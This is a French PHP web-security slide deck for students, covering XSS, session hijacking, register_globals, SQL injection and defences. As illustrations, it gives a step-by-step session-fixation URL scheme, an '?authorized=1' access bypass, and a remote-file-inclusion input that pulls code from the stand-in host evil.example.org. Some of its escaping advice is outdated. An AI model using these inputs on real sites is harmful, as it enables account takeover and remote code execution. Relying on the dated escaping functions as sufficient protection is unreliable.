1 / 18

Un peu de sécurité

Un peu de sécurité. Modex Web Baptiste Desprez. Avant d’entrer dans le vif du sujet. JavaScript Langage de script (comme PHP) Exécuté par votre navigateur ( Firefox , IE, Opera , …) Présent sur presque tous les sites au cœur des pages HTML ( Gmail , phpMyAdmin , …)

xue
Download Presentation

Un peu de sécurité

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. Un peu de sécurité Modex Web Baptiste Desprez

  2. Avant d’entrer dans le vif du sujet • JavaScript • Langage de script (comme PHP) • Exécuté par votre navigateur (Firefox, IE, Opera, …) • Présent sur presque tous les sites au cœur des pages HTML (Gmail, phpMyAdmin, …) • Attention ! Il est possible de désactiver JavaScript dans votre navigateur

  3. Cross Site Scripting (XSS) • En quoi ça consiste ? • Le XSS consiste à exploiter une faiblesse d’un site web qui contrôle mal les données insérées par les utilisateurs • Les risques • Un utilisateur malveillant peut insérer son propre code HTML ou JavaScript

  4. Cross Site Scripting (XSS) • Quelques « pistes » pour se protéger : • Htmlspecialchars($chaine, ENT_QUOTES) • Contrôlez les données que l’utilisateur peut insérer et qui sont directement affichées dans vos pages • Mieux vaut gérer une liste « blanche » qu’une liste « noire »

  5. Usurpation de session • En quoi ça consiste ? • L’usurpation de session consiste à accéder à la session d’un autre utilisateur • On distingue 3 types d’attaques de session : • Interception • Prédiction • Fixation • Les risques • Un utilisateur malveillant peut prendre l’identité d’une autre personne, casser le site, envoyer des messages sous une autre identité, …

  6. Usurpation de session • Prédiction • Consiste à deviner un identifiant de session valide • Interception • Consiste à récupérer l’ID de session (PHPSESSID) via une faille XSS comme tout à l’heure, ou via GET quand la configuration de PHP le permet • Fixation • Consiste à fixer l’ID de session AVANT d’utiliser l’application • Le pirate envoie l'URL http://jesuisunsite.com/login.php?PHPSESSID=1234 à un utilisateur • L'utilisateur suit le lien, s’il ne possède pas de cookie de session, il va initialiser la session à 1234 • L'utilisateur entre son login et s'identifie • Le pirate suit alors http://jesuisunsite.com/index.php?PHPSESSID=1234 et se retrouve à la racine du site, avec la session de l'utilisateur fraichement authentifié • Si l'utilisateur est administrateur, le pirate peut directement aller sur http://jesuisunsite.com/admin.php?PHPSESSID=1234

  7. Usurpation de session • Quelques pistes pour se protéger • ini_set('session.use_trans_sid', '0'); • Régénérer votre session, pour compliquer un peu la tâche du pirate ;) <?php session_name("Mon_Beau_Site_Web" ); session_start(); if (!isset($_SESSION['initiated'])) { session_regenerate_id(); $_SESSION['initiated'] = true; } ?>

  8. RegisterGlobals Directive du fichier de configuration de PHP (php.ini) OFF par défaut depuis php 4.2 ON sur certains serveurs pour des raisons de compatibilité…

  9. RegisterGlobals <?php if (authenticated_user()) { $authorized = true; } if ($authorized) { include '/highly/sensitive/data.php'; } ?> ?authorized=1 dans l’URL suffit à contourner la protection

  10. RegisterGlobals <?php include "$path/script.php"; ?> ?path=http%3A%2F%2Fevil.example.org%2F%3F dans l’URL va donner : include "http://evil.example.org/?/script.php";

  11. RegisterGlobals • Quelques « pistes » pour se protéger : • ini_set('register_globals', '0'); • ini_set(‘allow_url_fopen', '0');

  12. Injection SQL • En quoi ça consiste ? • L’injection SQL consiste à exploiter une faiblesse d’un site web qui contrôle mal les données insérées par les utilisateurs (j’insiste) • Les risques • Un utilisateur malveillant peut insérer du code SQL et : • Au pire, détruire ou modifier la base de données • Au mieux, accéder à des données confidentielles

  13. Injection SQL • Quelques « pistes » pour se protéger : • Vérifier le format des données saisies et notamment la présence de caractères spéciaux • Ne pas afficher de messages d'erreur explicites affichant la requête ou une partie de la requête SQL • Eviter les comptes sans mot de passe • Restreindre au minimum les privilèges des comptes utilisés • Mysql_escape_string() ou Addslashes() • Htmlspecialchars($chaine, ENT_QUOTES)

  14. HTTPS en pratique

  15. JavaScript, le retour

  16. Vivons heureux, vivons cachés ! Phpinfo : ne l’oubliez pas ! Affichage des erreurs Affichage des messages de debug

  17. Conclusion • Contrôlez !!! • Sécurisez les données sensibles avec HTTPS (si possible) • Méfiez-vous de ce que vous trouvez sur Internet • PhpMyAdmin : 10 failles de sécurité en 2008 • Mediawiki : 4 failles de sécurité en 2008 • … • Payant ne veut pas dire plus sécurisé ! • La plupart des intrusions sont faites de manière automatiques par des robots (GoogleHacking, …)

  18. Quelques liens http://phpsec.org/projects/guide/fr/index.html http://fr.php.net/register_globals http://www.phpfreaks.com/tutorial/php-security/page1 http://code.google.com/p/browsersec/wiki/Main http://johnny.ihackstuff.com/ghdb.php http://julien-pauli.developpez.com/tutoriels/securite/developpement-web-securite/

More Related